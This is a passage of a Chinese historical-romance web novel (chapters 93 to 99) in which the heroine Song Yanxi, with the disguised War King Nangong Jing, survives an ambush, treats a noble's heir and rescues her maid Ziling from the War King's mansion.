董昌目眦欲裂,眼看就要扑过去,却被暗一提拉着往外走。 “此地有埋伏,咱们必须赶紧走。” “是他,是他,他为什么要这么做?难道,我这些年对他还不够衷心吗?” 为那个人当了这么多年的牛马,那样的箭矢他再熟悉不过。 董昌早在那利箭射出来的时候就想明白了一切。 此时此刻,他心中满腔愤怒,恨不得冲到那个人面前质问。 然而眼下他们还有更重要的事情要解决。 这一次来的杀手,足足有二十余人。 “尊上有令,一个不留。” 为首那人一声令下,那些黑羽箭就如暴雨一般朝他们射了过来。 暗一将那些箭矢一一挡下,同时,也拉着董卓一点一点往后退。 他们边打边退,最后竟是又退到了祖师殿。 暗一将门堵上,道:“董先生千万别中了敌人的离间计,尊上既派我来救你,定不会杀你灭口。” 暗一的话如一记炸弹在董昌心里炸开。 他走到阿明身边,含泪拔下插在他心口的那支箭。 拔出来的时候,飞出的血铺满了董昌的脸。 他动作麻木地捂住阿明的心口,哪怕流出的血已经没有温度,董昌却觉得掌心像被火灼了一般。 “想当初,这箭还是我替他设计的。” 箭被扔在地上的时候,暗一看了一眼,发现箭尖竟然还带着倒刺。 中箭之人若是想强行拔箭,势必是要被刮下一层血肉的。 “如今,我也算知道什么叫与虎谋皮了。只是可惜了我的阿明,他才十岁啊。” 说到这儿的时候,董昌抹了一把泪。 “既然他不仁,就别怪我不义了。” 第94章:他怎么还吃醋了 他朝暗一拱了拱手:“待我死后,还请你为我父子二人报仇。” 暗一摇头:“我说了,此事一定有误会。” “没有误会。” 董昌直接从地上站了起来:“到现在你还在为那人说话吗?我告诉你暗一,我的今天就是你的明天。” “就连你也不过是那人手中的一枚棋子罢了,他让你来救我,就是想确认我到底有没有叛变。你不妨想想,那些杀手要杀的又岂止是我一个人? 早在你接下这个任务的时候开始,那人就已经给你判了生死。他要你我二人,今日都走不出这清心观。” 见暗一神色有松动,董昌继续说道:“我手上有那人的罪证,你去木坊城找一个叫惠姑的人,就跟她说,是重云居士的朋友......” “那你呢?”暗一问。 董昌低头,深深看了阿明一眼,蹲下去替他整了整衣裳:“我自有我的去处。” “董先生可知,尊上的真实身份?” 董昌摇了摇头:“他的心思太缜密了,唯有他身边之人才能知晓他的身份。” 说罢,他抬手朝祖师象指了指,道:“那下面有暗道,你还是,速速离去吧。” 暗一原本是想将他一起带走的,当他看到已经失去生机的阿明以及面如死灰的董昌时时,又改了主意。 哀,莫大于心死! 当暗一顺着密道离开道观,正好看到宋颜夕带着林昊准备上山。 “你怎么独自下来了?”宋颜夕问。 暗一还没来得及说话,就听见山上传来一阵巨大的响声。 抬头一看,清心观的上空,浓烟滚滚。 宋颜夕大惊:“这个董昌,竟然在道观里埋了地雷!山上到底发生了什么?” “对手狡猾,先一步屠了道观。董昌和那些杀手同归于尽了。” 暗一将脸上的人皮面具扯下,那张精致俊俏的脸,不是南宫景又是谁? 他牵起宋颜夕的手往前走:“不过,也算是得了些有用的线索。” 处在震惊状态中的宋颜夕没有察觉到异常,竟十分顺从地被南宫景牵着走了很久。 ...... “你是说,董昌在木坊城留下了线索?” 祥云客栈,宋颜夕和南宫景面对面坐着,开始分析当下获得的情报。 南宫景将一盘糕点推到她面前,道:“我会派人去木坊城,有了消息,第一时间通知你。” 他们又聊了一些细节,聊着聊着,宋颜夕忽然拍着桌子站了起来:“糟糕,有件事我给忘了。” 见她匆匆忙忙往外走,南宫景一把拉住她:“到底是什么事,竟让你连饭都来不及吃。” “还不是柳如风的事嘛。当时说好了五天后给他复诊的,这都过去多少天了。” 听到柳如风的名字,南宫景这才想起来,眼前这个女人和柳如风还有一桩婚约。 他语气不善:“如此关心他,真把他当未来夫君了不成?” “你这语气怎么酸溜溜的?” 宋颜夕可没有哄男人的喜好,更何况还是一个已经有心上人的男人。 她看了南宫景一眼,一头钻进了三楼的客房。 那个房间,是南宫景特地命人给宋颜夕留的。也是她在祥云客栈的专属包房。 出来的时候,她已经换了身衣服,脸上也贴了假胡子。 刚推开门,就看到南宫景靠在柱子上等她。 “你也去?”宋颜夕挑眉问道。 南宫景将一块面具戴到脸上:“我让林昊去查木坊城的事了,往后在安远侯府,还是我陪着你。” 宋颜夕耸了耸肩:“那就走吧。” 来到安远侯府的时候,他们几乎是被冯叔连拖带拽地请了进去。 “神医啊,不是说好了五天吗?这几日,我们可日日都盼着您呐。” 宋颜夕捋了捋胡子:“本神医前几日出城处理了一些私事,这才耽搁了几日。冯管家请放心,我是不会耽误给世子治病的。” 南宫景跟在一旁没说话。 和冯叔寒暄了几句之后,他们便来到了柳如风床前。 “你看,世子脸上的毒疮不是好了许多嘛。” 宋颜夕说得并不假,几日不见,柳如风的确“英俊”了许多。 原本可怖的毒疮已经结痂,不再流脓了。 不仅如此,他脸上因为毒素而导致的暗沉之色也缓解了不少。 虽然偶尔还是会咳嗽,但整个人的精气神看起来还是相当不错的。 柳如风靠在床头,朝宋颜夕拱了拱手:“柳某的身子,还要倚仗神医你了。” 说完,他的余光从宋颜夕身后的南宫景身上飘过。 他是知道神医身旁跟着一个高手的,但前两次,这人都在屋外守候,今日怎的像根桩子似地杵在那儿? 察觉到柳如风的视线,南宫景直接甩给他一记冷眼。 “世子莫怪,我这家仆脾气有些古怪。但,人是不坏的。” 宋颜夕转身,朝南宫景使眼色。 南宫景这才收敛了一些,抱着剑站在一旁不再看柳如风。 柳如风倒是没有生气,反而还十分坦然地说了一句:“理解理解,高手嘛,总是有些脾气的。” 接下来的流程还是和之前一样,宋颜夕先是给柳如风把脉,然后便给他施针。 把脉倒还好,到了施针的时候,宋颜夕只觉得后脖颈一阵冰凉。 有同等感觉的还有柳如风。 他总觉得有一道眼刀子无形中朝他身上招呼。 尤其是,宋颜夕让他脱掉上衣的时候。 和上次一样,这一次,宋颜夕也需要在侯府住上三日。 回到住处之后,宋颜夕直接抓住了南宫景的衣领。 “你今天怎么回事?存心拆我台吗?” 因为南宫景实在是太高,宋颜夕直接站到了凳子上。 南宫景十分淡定:“我何时拆你台了?” “别以为我看不出来,你今天就是故意找茬。你看柳如风的眼神,都是冷刀子。到底怎么回事?别告诉我,你和柳如风也有仇啊。” 南宫景并不急着解释,而是反问了一句:“宋姑娘就如此担心我对柳如风下手?真把自己当世子妃了?” “你别在这跟我打岔啊。赶紧回答我的问题,你和柳如风到底有什么过节?” 南宫景忽然伸手拉住宋颜夕的手腕。 他只是微微用力,站在凳子上的宋颜夕就被扯到他的面前。 那一刻,他们甚至都能感受到彼此的气息喷洒在脸上。 “我与他倒是没什么仇,若真有的话,那便只能是,夺妻之恨了。” 四目相对,宋颜夕竟莫名觉得耳朵烫得出奇。 第95章:他的意中人是谁 她好像知道了什么了不得的事情。 夺妻之恨? 是她理解的那个意思吗?柳如风夺走了他那位心心念念的意中人吗? “你的意中人,是真正的宋彩衣?” 不对 宋颜夕摇了摇头,又补了一句,“还是说,你喜欢的是宋婉儿?” 毕竟,这桩婚事原本定下的,便是宋婉儿。 听了她的话,南宫景突然有些哭笑不得。 这女人的脑回路怎的如此奇特? 他都说得这么明显了,这女人是真的听不出他话里的意思吗? “开个玩笑。” 南宫景直接伸手托住她的腰,轻轻松松就将她从凳子上抱了下来。 “我只是觉得,那个柳如风没有表面上看到的这么简单。你日后与他打交道,还需小心谨慎。” 宋颜夕后退一步和他拉开距离:“那还用你说?放心吧,治好他的病,得到我想要的东西,我自然就会和他撇清关系。” 安远侯府在这上京城的位置可谓十分微妙。 安远侯在朝堂上向来中立,本就是各方势力争相拉拢的对象。 但如今,安远侯府却又和宋府定下婚约,无疑是在发送一个信号。 多年来保持中立的安远侯府,已经向楚王倾斜。 此举无疑会惹怒以战王为首的保皇党,柳如风这个世子,怕是当不安稳。 “你想要的,莫非是那样东西?我们尚不确定那东西是否在安远侯府。你如此这般,是否太过冒险?” “我要的可不是那个盒子。” 宋颜夕转身给自己倒了一杯茶,“总之,我有分寸。” 南宫景不再追问,又与她说了几句话之后便离开了房间。 在这三日之内,南宫景几乎将安远侯府翻了个遍,都没有找到那个盒子。 第四日,柳如风特地设宴邀请他们二人。 经过这段时间的调养,柳如风的身子大有好转,已经可以下床了。 宋颜夕已经给他留了药方,按照她的方子调养一段时间,柳如风的身体就会慢慢恢复如初。 宴会就安排在一个小花厅里。 宋颜夕和南宫景到的时候,柳如风已经在那等着了。 和吕刚当初的设宴不同,柳如风的宴席上并无酒水,倒是有上好的茶歇。 大抵是文人风骨的原因,柳如风的言谈举止总是给人如沐春风的感觉。 一番交谈下来,宋颜夕对这位世子又多了些改观。 若非生在官场,她大概会以为眼前这位是哪座深山里走出来的隐世高人。 他似乎对什么都是淡淡的,有一种不属于这个世间的洒脱。 “神医今日便要离府了吧?认识这么久,在下还不知该如何称呼神医您呢。日后若要寻你,该往何处去?” 柳如风敬了宋颜夕一杯茶。 宋颜夕将茶水一饮而尽:“我啊,无名无姓,乃江湖一游侠。况且我居无定所,世子不必刻意寻我。若是有缘,你我自会再相见。” 南宫景听了她的回答,甚是满意,连带着觉得杯中之茶都甘爽了不少。 柳如风倒是有些失望,不过,他很快就调整好情绪。 “既然如此,柳某便开门见山了。不知神医那日说的报酬,是为何物?” 宋颜夕将杯子放回桌上,一字一句地说道:“我要世子,取消和相府的婚约。” 这话一出,南宫景更开心了。 这侯府的茶,不仅甘爽,还令人回味无穷呢。 “这是为何?”柳如风十分不解。 宋颜夕早就想好说辞:“便当是老夫不忍世子这般清风霁月的少年郎卷入皇城权利的漩涡中吧。” “可这桩婚事是由家父与宋丞相亲自订下的,便是我,也无法轻易取消婚约。” 宋颜夕却直接站了起来:“以世子的聪慧,解决此事并不难吧。但若世子不愿答应老夫这个条件,便当你我从未相识。” 说罢,她朝南宫景招了招手:“我们走。” 看着他们离开的背影,柳如风却忽然笑了。 这神医,有些意思。 “世子,可否要老奴派人跟着他们?”冯叔上前一步,低声问道。 柳如风摇了摇头:“若只是神医也就罢了,但他身边的那位可是个真正的高手。你手底下那些人,是瞒不过他的眼睛的。” 说着,柳如风起身理了理宽大的衣袖。 冯叔立刻拿着披风给他披上:“世子可是要回房?” “我也许久没见到父亲了,是时候去向他老人家请安。” 那天,柳如风在安远侯的书房里待了很久。 没有人知道他们谈了什么。 …… 宋颜夕换回女装之后便打算先回相府,却不想,半路“偶遇”了大长公主府的马车。 她的眉毛跳了跳,莫非,又是上次那伙人? “怎么这副表情?你不想见到大长公主府的人?”南宫景见她情绪不对,问道。 宋颜夕将那日所经历的事情与他说了。 南宫景听了之后,眼中闪过一道杀气。 没想到,上京城竟然还混入了这样的高手。 能徒手制造幻境? 绝非东越人所能做到,莫非,是南夏细作? 他们是冲着宋颜夕来的? 但宋颜夕不过是小樟村一个普通的......就算她如今占了相府千金的身份,也不至于招来南夏……不,或许,她的身份并没有这么简单。 “宋二姑娘,没想到竟然在这儿遇见你了。二姑娘可是要回相府,可需要老奴捎您一程?” 和宋颜夕打招呼的是大长公主府的庄嬷嬷。 宋颜夕原本想拒绝的,但转念一想,便又朝她福了福身:“如此,就劳烦庄嬷嬷了。” 宋颜夕上车之后,南宫景朝庄嬷嬷使了个眼色。 庄嬷嬷会意,立刻低声答道:“王爷放心,这几日,宋二姑娘都在大长公主府学习礼仪,大长公主与老奴都可作证。” 南宫景这才满意地点了点头。 他跳上马车,坐在马夫的位置。 随着庄嬷嬷一声令下,马车缓缓朝丞相府驶去。 因为是庄嬷嬷亲自将人送回来,宋府的人对于宋颜夕离府多日之事并未再提出任何异议。 就连老夫人也只是狠狠瞪了她几眼之后就怒气冲冲地回去了。 “大长公主府的仪仗,就是好用啊。” 宋颜夕躺在梧桐苑的秋千椅上,突然觉得这门亲认下倒也不错。 起码,能让她狐假虎威一段时间。 正想着,却见春分急匆匆跑了过来。 “姑娘,有紫翎的消息了。” 第96章:再入战王府 宋颜夕立刻从秋千椅上跳了起来:“她在哪儿?” “战王府。” “什么?” 宋颜夕脸色一变,她有想过紫翎是中了董昌的奸计,却没想到,她竟然会落在南宫景那家伙的手里。 “可知道她如今的情况?” 春分摇了摇头:“我们的人只能查到她是被战王府的人带走的,其他的,我们也查不到更多了。” 宋颜夕明白。 战王府固若金汤,她们的人根本无法潜进去。 “该死的南宫景,到哪儿都要和我作对。早晚有一天,我要扒下他的底裤,让他在我脚底下摇尾乞怜。” 端着药碗走过来的南宫景正好听到这句话。 虽然知道宋颜夕那句话并不是那个意思,但他莫名就觉得脸颊烫得厉害。 “好了,先别说了。” 看到站在角落里的南宫景,宋颜夕朝春分使了个眼色。 春分赶紧福身退下。 南宫景佯装没听到那句话,走到宋颜夕身边之后,将手中的药碗递到她面前。 “刚回来就一副心事重重的样子,可是又出了什么事?” “是紫翎。” 宋颜夕将碗中之药喝下,随手将空碗扔在院中的石桌上。 “已经找到紫翎的下落了?看你这样子,她现在处境不好?”南宫景问。 “落到那家伙手里,定然不好。” 她转身回屋,出来的时候,已经换了一身端正得体的衣裙。 “如此庄重,是要去哪儿?” 宋颜夕沉沉吐出一口气:“战王府。” 说完,她又补了一句,“你同我一起去。” 南宫景自然知道她去王府所为何事。 虽然此刻还不适合让她知晓他的身份,但犹豫片刻之后,他还是应了一声:“好。” “二姐这是刚回府又要出去?你这日日不着家,还有一点名门贵女该有的仪态吗?” 还没走到门口,就被宋娇娇拦下了。 除了宋娇娇之外,还有许久没见的宋婉儿。 宋颜夕没心思与她打闹,直接将她推到一边:“好狗不挡路。” “宋彩衣,你竟然骂我是狗?” 宋娇娇怒喝一声,撸起袖子就要朝宋颜夕身上扑来,却被一旁的宋婉儿拦下了。 “四妹妹,注意仪态。” 宋颜夕朝送宋婉儿竖起大拇指,然后又转头对宋娇娇说道:“看见了吗?连大姐都说你没有仪态啊。” 宋婉儿赶紧解释:“我不是那个意思。” “我自然知道大姐姐是为我好,宋彩衣,你少在这挑拨离间。我问你,你急匆匆的,是要去哪儿啊?” 宋颜夕:“我去哪儿,没必要向你报备吧?阿呆,我们走。” “不许走。” 宋娇娇再次拦在宋颜夕面前,“你今日若是敢出府,我就告诉大伯母,你,私会男子。” 这话一出,连一旁的宋彩儿都惊呆了:“四妹妹,这话可不能乱说。” “我哪儿有乱说了。她离府的这几日,身边可只跟着这丑护卫,谁知道他们在外面干了些什么?” 话刚说完,她忽然觉得身边投下一道阴影。 南宫景不知何时走到她身边,冰冷的目光落在她的身上。虽然他现在扮演的是个哑巴,但那眼中的杀意还是毫无保留地流露出来。 “怎么,连你这下贱的奴才也敢威胁本姑娘了?真是什么样的主子就养了什么样的狗。” “啪~” 南宫景还没来得及动手,宋颜夕就已经率先赏了宋娇娇一个巴掌。 “啊!宋彩衣,你竟敢打我。” 宋娇娇是个禁不起激的,几乎是挨了巴掌的第一时间就已经叫嚣着扬起手朝宋颜夕身上招呼。 结果显而易见,这娇滴滴的大小姐根本不可能是宋颜夕的对手。 “我警告你宋娇娇,以后没事少招惹我。” 宋颜夕直接将宋娇娇的手扭到身后,然后,对着她的脸直接打出一套“降龙十巴掌”。 当宋娇娇捂着馒头一样的嗷嗷痛哭的时候,宋颜夕已经带着南宫景走出了相府大门。 相府距离战王府其实并不远,也就隔了三条街。 看到那烫金的“战王府”三个字,宋颜夕有些窝火。 “你去敲门。”她对南宫景说道。 南宫景点头应下,还真的规规矩矩叩响了大门。 一般来说,王府大门只会在迎接重要客人的时候才会打开。就连上一次宋章带着宋颜夕上门,走的也都是侧门。 宋颜夕自然知道这个道理。 不过,她可没有走侧门的爱好。 南宫景此番行为,正合她意。 守门的小厮将门打开一条缝隙,见到南宫景的时候,愣了足足五个呼吸。 眼前这个丑不啦叽的男人,怎么与他们家王爷这么像? “傻愣着干什么,还不快开门迎客。”南宫景压低声音说道。 那小厮这才战战兢兢地将门打开。 这声音,是他家王爷没错了。 大门被打开的那一刻,宋颜夕微微挑了挑眉。 这战王府的大门,竟然这么好进? 便连她当初被接回丞相府的时候,都被姜淑萍使了个下马威呢。 尤其是那小厮恭恭敬敬地朝她行了个大礼的时候,她几乎以为自己来错了地方。 “不是来救人吗?赶紧进去啊。” 见宋颜夕没有动作,南宫景不露痕迹地在她手背上捏了一下。 宋颜夕这才回过神来。 她清了清嗓子,对那小厮说道:“你家王爷可在府中?” 那小厮偷瞄了南宫景一眼,但南宫景并没有给他任何提示。 他斟酌一二,这才开口答道:“我家王爷进宫了,姑娘若是想寻我家王爷,不妨进府等候片刻?” 听到南宫景不在府中,宋颜夕心情大好。 “如此,便叨扰了。” 那小厮直接领着他们到前厅,不多时,王府的管事便急匆匆赶来。 “王......” 正要向南宫景行礼,却又在接收到南宫景眼中的警告之色后,话锋一转: “王爷许是要用了晚膳才会回来,宋二姑娘,不如先用些茶点,慢慢等候?” 说着,他朝身后挥了挥手,立刻有丫鬟端着精致的餐盘上前。 “劳烦管家了。” 等到那些人都退下之后,宋颜夕这才朝南宫景勾了勾手:“你跟那小厮说什么了?他怎么对咱们这么客气?” 南宫景将一杯茶递到宋颜夕手里。 宋颜夕抿了一口,这茶倒是不错。入口微苦,细品却又回甘无限。 然而当她听到南宫景接下来那句话的时候,到嘴的茶瞬间被她喷了出来。 第97章:找到紫翎了 “没什么,我就是告诉他们,你是他们未来的王妃。若是不好好招待,战王饶不了他们。”这是南宫景的原话。 见宋颜夕被呛得不轻,他赶紧上前替她拍背:“喝这么急做什么?都多大的人了,还跟孩子似的。” 这语气,忍不住让宋颜夕打了个哆嗦。 “何越,我发现你这两日很奇怪啊。” 宋颜夕一把抓住南宫景的手腕:“你当战王府的人是傻子吗?就你那蹩脚的谎言,他们会信?你到底跟门房说什么了?” “好吧,果然什么都瞒不过你。” 南宫景将手腕抽出来,转而从碟子上取了块帕子塞到宋颜夕手里,道,“我跟他们说,你手上有关于宋丞相的重要情报,而且,只能交给战王。没想到我这一说,他们还真信了。” 宋颜夕干笑一声,用帕子擦拭嘴角的茶渍。 能不信吗,她和那位战王可还有一些“秘密交易”呢。 “这是什么说不得的事吗?竟然还拿那种荒唐的话来唬我。我告诉你啊,以后别再让我听到那种话。” 说着说着,她忽然跳起来在南宫景脑门上敲了一下:“你忘记装哑巴了!” 南宫景揉了揉脑袋:“额,一时忘了。” “算了,穿帮就穿帮吧。这战王府的人也不是碎嘴的,还不至于为了你这护卫专程上相府告状去。” 南宫景却又将话题拉了回来:“就这么不想和战王扯上关系,你当真如此厌恶他?” “别跟我提那晦气玩意儿。” 岂止是厌恶啊,那家伙可是她前世今生的死对头。 一想到前世那些糟心事,宋颜夕就觉得脑瓜子一阵一阵的疼。 南宫景轻叹一声。 当年那些误会,看来是不容易解开了。 他脑中开始盘算,到底要怎么样才能让她知晓他的心意? 又过了一会儿,宋颜夕已经有些坐不住了。 她起身在厅堂里来回踱步,时而看看天色,时而朝回廊里张望。 “这王府这么大,你说,紫翎会被关在哪里呢?” 宋颜夕脑海中闪过一个画面: 紫翎被锁链困在阴冷的囚室,身上布满伤痕,周围,是一些刑讯逼供的刽子手...... 南宫景建议:“不如,咱们去探探?” “现在?你确定?” 这青天白日的在王府里找人,怕是会惹人怀疑。 “哦,方才那管家同我说了,咱们若是在此处等得无聊,可以在王府里逛逛。” “他什么时候跟你说的?” “就在不久前啊,大概是你一心琢磨着怎么就紫翎,没听见我们的谈话。” 南宫景说着就往外走去:“不如,咱们先从东边开始找起?” “等等!” 宋颜夕走到他面前,一脸凝重地盯着他。 南宫景心中开始打鼓,难道,她怀疑他了? 正要开口解释,却见宋颜夕已经率先朝东边走了过去:“你这人怎么总是不记事呢,一个护卫,别老想着走在主子前面。” 南宫景吐出一口气,慢悠悠跟了上去。 管家已经先行打过招呼,这一路走来,倒也没露出破绽。 “上次没注意瞧,没想到,那死贱南还有几分品味嘛。” 走在青石小路上,宋颜夕忍不住感慨一声。 虽然她不喜欢那个男人,但这宅院的布置倒是十分清新雅致。 不知道是不是她的错觉,总觉得,这当中的一些景致,与她曾经的设想有些不谋而合。 “宋姑娘喜欢这样的布置?”南宫景问。 宋颜夕脚步一顿:“谁喜欢了?就那满脑子阴谋诡计的家伙,怎么可能设计出这样的庭院。说不准,这又是他的阴谋呢。” 南宫景:...... 他与她可从来不玩阴谋。 他玩的,一直是阳谋。 但,这女人好像一直都不懂他的心思。 就说他们的第一场对赌,那五色蜥蜴原本就是冲着她去的,若非他提前捏住那毒蜥蜴的命门,这女人当时就得被毒晕过去。 但在她的视角,他倒是成了那放毒之人。 至于当众撕裂她衣服之事...... “快看,那是不是紫翎?” 宋颜夕的声音打断了他的回忆。 “好像,是的吧。” 不远处,是一个荷花池。 虽然池子里只剩一些枯黄的残枝,但光是枯枝就铺满了整个池子。不难看出,夏日的时候,此处的莲开得多么旺盛。 池塘旁,有一个小花坛。 有一些花,宋颜夕曾在大长公主府的百花宴上看过。 想必眼前这些花花草草都是从大长公主府运过来的。 不过这些都不是宋颜夕所关心的。 就在那花坛边上,摆放着一把藤椅。那个半躺在那躺椅上晒日头的人,不正是紫翎吗? 此时此刻的紫翎,和宋颜夕想象中根本不一样。 别说伤痕累累了,她身上的衣裳,甚至比在相府的时候还要精致。 当然,如果忽略她脸上那副要杀人的表情的话,此刻的紫翎,无疑是惬意的。 宋颜夕和南宫景交换了一个眼神,悄悄从另一边绕了过去。 他们借着园中那棵大树隐藏身形,很快,就听到紫翎的声音传入耳中。 “我警告你,赶紧放了我。” 不多时,就出现了另外一道男声:“放肯定是会放的啊,但是在这之前,你得先把伤养好了。” 宋颜夕这才发现紫翎身旁还站着一个男人。 这人她是见过的,他的名字,好像是叫段恒。 紫翎尝试着抬手,但无论怎么使劲,都动弹不得。 段恒面无表情地站在那儿:“那就别别白费心思了,我点的穴道,你是解不开的。” 说着,他伸手在紫翎额头上碰了碰。 “穆先生说了,多晒日头对身子好。你看,你如今这体温不是挺正常的嘛。” 紫翎忍不住破口大骂:“老娘这是被你气的。” 她有怀疑过段恒的身份,但是没想到,这人竟然会是战王府的人。 那日被劈晕之后,紫翎就被带到了王府的暗室。 那些人想要从她口中得到西菱的情报,但她抵死不认。 再后来,她便因为伤口感染晕过去了。 再次醒来她就离开了暗室,战王府的人非但没再逼问她,反而还好吃好喝地供着她。 但紫翎知道,这不过是敌人的怀柔政策罢了。 她怒瞪着段恒。 战王是她家陛下的仇人,眼前这人,便也是她的仇人。 她是不会中计的。 “我告诉你啊,不管你们使出什么手段,我都不会背叛我家主子的。” 宋颜夕满意地点头:不愧是她一手带出来的小凤凰,果然没让她失望。 然而下一刻,她就呆在原地。 整个人如遭雷劈。 第98章:老夫人又要教育她 “你主子?你说的,是丞相府的那位,还是西菱的那位?” 段恒说出这句话的时候,宋颜夕就察觉情况不妙。 战王府的人是怎么查出紫翎和西菱的关系的? 那她将紫翎带在身边这么久,该不会,战王府的人早就盯上她了吧? 还是说,是在董昌这件事上露出了马脚? 紫翎将下巴抬得很高:“总之,我是什么都不会说的。” 【傻孩子啊,你这样说不就等于你和西菱有关系了吗?真不怕他们把你当细作杀了?】 宋颜夕心中焦急,不小心踩到一截枯枝。 虽然只是细微的声响,却还是惊动了段恒。 “谁在那儿?” 声音刚落,一把短刀就从段恒手中飞了出来。 速度之快,让人躲闪不及。 就在那短刀距离宋颜夕的面门只有数寸距离的时候,南宫景出手了。 只见他轻轻一抬手,那短刀便倾斜着插进了一旁的泥土里。 “王爷?您怎么……” 看到南宫景的时候,段恒几乎是下意识脱口而出。 南宫景想要阻止他已经来不及。 “王爷??” 宋颜夕眯了眯眼,立刻和南宫景拉开距离:“他为什么叫你王爷?” 紫翎赶紧朝宋颜夕使眼色:“姑娘,你身后” 宋颜夕立刻转身。 刚抬头就看见不远处站着一个穿黑衣,戴面具的男人。 南宫景松了一口气,幸好,管家是个靠谱的。 “听说宋二姑娘有要事找本王商议?” 假“战王”的声音有些冷,和宋颜夕记忆中的声音没什么不同。 她这才松了一口气,所以,刚刚段恒喊的其实是眼前这位吧。 “事关机密,能否请王爷移步?” 宋颜夕打算,用假信息先把紫翎换出去。 假“战王”打量着她,最终还是点了点头:“随我来。” 离开之前,宋颜夕一直朝南宫景使眼色。 【紫翎就交给你啦】 南宫景朝她比了个手势:【放心】 宋颜夕和那个假“战王”单独聊了很久,出来的时候,紫翎身上的穴道已经被解开。 而段恒呢,一脸不服气地站在一旁,瞧着倒像是在“何越”手底下吃了亏。 宋颜夕勾了勾嘴角,偷偷朝“何越”竖起大拇指。 随即,她转身看向假“战王”:“王爷,咱们之间的交易?” 假“战王”背手站在那里,语气是一如既往的冰冷:“若你真能替本王拿到那样东西,本王倒是能放你这丫鬟一马。不过,若是你敢欺骗本王,不仅是她,就连你,也得付出代价。” 宋颜夕笑得十分得体:“王爷放心,我很惜命的。” “希望宋二姑娘不要让本王失望。” 一直到离开王府,宋颜夕脸上的笑终于垮了下来。 “他们知道你的身份了?”宋颜夕把紫翎拉到一边,低声问道。 紫翎摇了摇头:“只是怀疑,姑娘放心,我一个字都没说。” 宋颜夕却是扯了扯嘴角:“以后还是长点心吧,你已经露馅了。” “啊?” 紫翎一头雾水:“不应该啊。若他们知道我的身份,不可能放我走的。” “这也是我不理解的。” 宋颜夕摸了摸下巴:“虽然我和那讨厌的家伙做了交易,但都是一些空头承诺,以他的性子,在没有得到甜头之前是不可能把你放了的。” “姑娘,这当中该不会有什么阴谋吧?” “管不了这么多了。咱们必须尽快找到那批黑铁矿,然后赶紧离开。这个地方,多待一天就多一分危险。” “可需要我做什么?” 宋颜夕摇了摇头,拉起紫翎的手腕替她诊脉:“刚刚那人说你受伤了,伤哪儿了?严重吗?” 紫翎将那日发生的事情与她说了。 不远处,南宫景靠在墙头看着她们低声交谈,眼中闪过浅浅笑意。 “小野猫要逃跑,应该怎么办呢?” …… 宋颜夕回到相府的时候,已经暮色西沉。 才踏进大门,她就被“请”到了青松院。 今日的青松院围了不少人,姜淑萍、二房三房的人都来了。 不仅如此,就连宋诚也在。 看这架势,大有一股三堂会审的味道。 “宋彩衣,娇娇脸上的伤可是你打的?” 刚进屋,老夫人的声音就在耳边炸开。 宋颜夕大方承认:“是我打的,四妹妹言辞无状,我便出手教育教育她。” 说着,宋颜夕转头看向宋娇娇:“四妹也不用太感谢我,毕竟,我是你二姐,有义务教导你怎么做人。” 此话一出,宋娇娇只觉得脸更疼了。 她嘤嘤嘤地跑到老妇人身边跪坐下来,一双手捂着那肿得跟馒头似的脸:“祖母,您看她!!” “果真是乡下长大的野丫头,一点规矩都不懂。今日,我非得好好教教你不可。” 老夫人挥了挥手,立刻有几个婆子冲到宋颜夕面前。 宋颜夕看了看,都是熟面孔。 这几位,不就是上回被她“叠罗汉”的那仨儿吗? 大概是因为上回被欺负狠了,这一次,她们卯足了劲地往宋颜夕身上招呼。 宋颜夕是那种站着挨打的人吗? 显然,并不是。 不过如今这么多人看着,她也不会在明面上被人抓了错处。 于是,她直接躲到姜淑萍身后,扯着姜淑萍的袖子如小白莲一般喊了一句:“母亲救命啊。” 姜淑萍:...... 虽然她和老夫人一样不待见宋颜夕,但眼下她还需要宋颜夕替她女儿挡灾难,是以,她不得不出手阻拦。 “母亲何必动怒,不过是小孩子之间打闹罢了。” 因为姜淑萍的阻拦,那三个婆子没敢上前。 老夫人见此,面露愠色:“怎么,你还要护着这小蹄子不成?” “儿媳并非护着彩儿,只是这当中的原委,也不能只听娇娇的一面之词啊。当时婉儿也在场,不如咱们听听她怎么说?” 宋婉儿原本只是站在一旁看热闹,没想到姜淑萍突然点她名。 她虽是不情愿替宋颜夕说话,但在接受到姜淑萍的目光之后,也只能如实回答。 “当时,的确是四妹妹先出言挑衅,二妹气不过才动了手。” 宋娇娇低声啜泣:“大姐姐,你怎么也帮着她说话?当时分明是......” 老夫人冷哼一声:“娇娇向来懂事,怎会言语无状?我看婉儿你也是被那死丫头带坏了。谁若是再为死丫头求情,老身就连她一块打。” 老夫人朝那三个婆子使了个眼色,那三人会意,直接绕过姜淑萍抓住了宋颜夕的手臂。 第99章:线索 宋颜夕大喝一声:“我看谁敢动手!” 然而她的后半句话还没说出来,有一个人比她的动作更快。 她只觉得眼前一道黑影闪过,那三个婆子就哀嚎着倒在地上。 看着三个婆子被踹飞,所有人都愣住了。 就连宋颜夕都一脸懵地看着那个挡在她身前的“丑男人。” “阿呆,你这是在做什么?老夫人面前可不容你放肆。” 宋颜夕朝他拼命使眼色,但南宫景仿若未觉。 他就这样如老母鸡一般将宋颜夕护在身后,犀利的目光直接射向坐在首座的老夫人。 老夫人直接拍案而起:“这是哪里来的贱奴,竟敢当着主家动手,真是反了天了。来人呐,拖下去乱棍打死。” “老夫人,我有话要说。” 眼见屋外的那些护卫就要冲进来将南宫景带走,宋颜夕赶紧跳出来。 她将南宫景往身后拉了一下,给了他一个“死亡警告”之后,南宫景这才收起身上的戾气。 “哼,还说什么啊?把这死丫头也拖下去,一块打。” 老夫人捏了捏额角,看起来一副疲惫不堪的模样:“你说说你们,我才离府多久啊,你们就把这扫把星找回来了。是存心想气死我是吧?” 姜淑萍动了动嘴皮子,最终一个字都没说。 她知道,老夫人这句话是在点她呢。 至于宋颜夕? 一个行事莽撞的小贱蹄子,才回来多久就不知给她闯了多少祸事。 也该让她受些皮肉之苦。 然而她想置身事外,宋颜夕却不给她这个机会:“你们若是打了我,相府可就损失了五千两黄金。母亲,您说是吧?” 姜淑萍露出一个尴尬而不失礼貌的微笑:“彩儿这话是什么意思,母亲怎么听不明白呢。” 宋颜夕却一脸天真地看着她:“母亲为何这么说,难道,您忘了咱们的大计了吗?就那件事,您曾经告诉彩儿,若是成了,可以让咱们赚很多钱的。彩儿今日就是为母亲办事去了呀。” 一听到五千两黄金,刚刚还捂着脑袋的老夫人顿时眼睛一亮:“淑萍,她说的可是真的?” 姜淑萍脸上的笑更礼貌了。 什么真的假的? 她根本就没让宋颜夕去办什么大事,此事,摆明是那贱蹄子在拖她下水。 可如今这个情况,她若是否认,老夫人会不会认为是她在藏私? 